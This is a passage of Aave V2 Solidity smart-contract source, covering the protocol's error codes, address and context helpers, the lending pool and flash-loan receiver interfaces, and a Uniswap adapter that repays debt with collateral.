LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; /** * @title IFlashLoanReceiver interface * @notice Interface for the Aave fee IFlashLoanReceiver. * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function LENDING_POOL() external view returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title UniswapRepayAdapter * @notice Uniswap V2 Adapter to perform a repay of a debt with collateral. * @author Aave **/ contract UniswapRepayAdapter is BaseUniswapAdapter { struct RepayParams { address collateralAsset; uint256 collateralAmount; uint256 rateMode; PermitSignature permitSignature; bool useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Uses the received funds from the flash loan to repay a debt on the protocol on behalf of the user. Then pulls * the collateral from the user and swaps it to the debt asset to repay the flash loan. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset, swap it * and repay the flash loan. * Supports only one asset on the flash loan. * @param assets Address of debt asset * @param amounts Amount of the debt to be repaid * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); RepayParams memory decodedParams = _decodeParams(params); _swapAndRepay( decodedParams.collateralAsset, assets[0], amounts[0], decodedParams.collateralAmount, decodedParams.rateMode, initiator, premiums[0], decodedParams.permitSignature, decodedParams.useEthPath ); return true; } /** * @dev Swaps the user collateral for the debt asset and then repay the debt on the protocol on behalf of the user * without using flash loans. This method can be used when the temporary transfer of the collateral asset to this * contract does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset * @param collateralAsset Address of asset to be swapped * @param debtAsset Address of debt asset * @param collateralAmount Amount of the collateral to be swapped * @param debtRepayAmount Amount of the debt to be repaid * @param debtRateMode Rate mode of the debt to be repaid * @param permitSignature struct containing the permit signature * @param useEthPath struct containing the permit signature */ function swapAndRepay( address collateralAsset, address debtAsset, uint256 collateralAmount, uint256 debtRepayAmount, uint256 debtRateMode, PermitSignature calldata permitSignature, bool useEthPath ) external { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); DataTypes.ReserveData memory debtReserveData = _getReserveData(debtAsset); address debtToken = DataTypes.InterestRateMode(debtRateMode) == DataTypes.InterestRateMode.STABLE ? debtReserveData.stableDebtTokenAddress : debtReserveData.variableDebtTokenAddress; uint256 currentDebt = IERC20(debtToken).balanceOf(msg.sender); uint256 amountToRepay = debtRepayAmount <= currentDebt ? debtRepayAmount : currentDebt; if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (amountToRepay < debtRepayAmount) { maxCollateralToSwap = maxCollateralToSwap.mul(amountToRepay).div(debtRepayAmount); } // Get exact collateral needed for the swap to avoid leftovers uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, amountToRepay, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amounts[0], permitSignature ); // Swap collateral for debt asset _swapTokensForExactTokens(collateralAsset, debtAsset, amounts[0], amountToRepay, useEthPath); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amountToRepay, permitSignature ); } // Repay debt. Approves 0 first to comply with tokens that implement the anti frontrunning approval fix IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amountToRepay); LENDING_POOL.repay(debtAsset, amountToRepay, debtRateMode, msg.sender); } /** * @dev Perform the repay of the debt, pulls the initiator collateral and swaps to repay the flash loan * * @param collateralAsset Address of token to be swapped * @param debtAsset Address of debt token to be received from the swap * @param amount Amount of the debt to be repaid * @param collateralAmount Amount of the reserve to be swapped * @param rateMode Rate mode of the debt to be repaid * @param initiator Address of the user * @param premium Fee of the flash loan * @param permitSignature struct containing the permit signature */ function _swapAndRepay( address collateralAsset, address debtAsset, uint256 amount, uint256 collateralAmount, uint256 rateMode, address initiator, uint256 premium, PermitSignature memory permitSignature, bool useEthPath ) internal { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); // Repay debt. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount); uint256 repaidAmount = IERC20(debtAsset).balanceOf(address(this)); LENDING_POOL.repay(debtAsset, amount, rateMode, initiator); repaidAmount = repaidAmount.sub(IERC20(debtAsset).balanceOf(address(this))); if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (repaidAmount < amount) { maxCollateralToSwap = maxCollateralToSwap.mul(repaidAmount).div(amount); } uint256 neededForFlashLoanDebt = repaidAmount.add(premium); uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, neededForFlashLoanDebt, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, amounts[0], permitSignature ); // Swap collateral asset to the debt asset _swapTokensForExactTokens( collateralAsset, debtAsset, amounts[0], neededForFlashLoanDebt, useEthPath ); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, repaidAmount.add(premium), permitSignature ); } // Repay flashloan. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount.add(premium)); } /** * @dev Decodes debt information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature * bool useEthPath use WETH path route * @return RepayParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (RepayParams memory) { ( address collateralAsset, uint256 collateralAmount, uint256 rateMode, uint256 permitAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s, bool useEthPath ) = abi.decode( params, (address, uint256, uint256, uint256, uint256, uint8, bytes32, bytes32, bool) ); return RepayParams( collateralAsset, collateralAmount, rateMode, PermitSignature(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts//SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts//IERC20.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {ILendingPoolCollateralManager} from '../../interfaces/ILendingPoolCollateralManager.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {Helpers} from 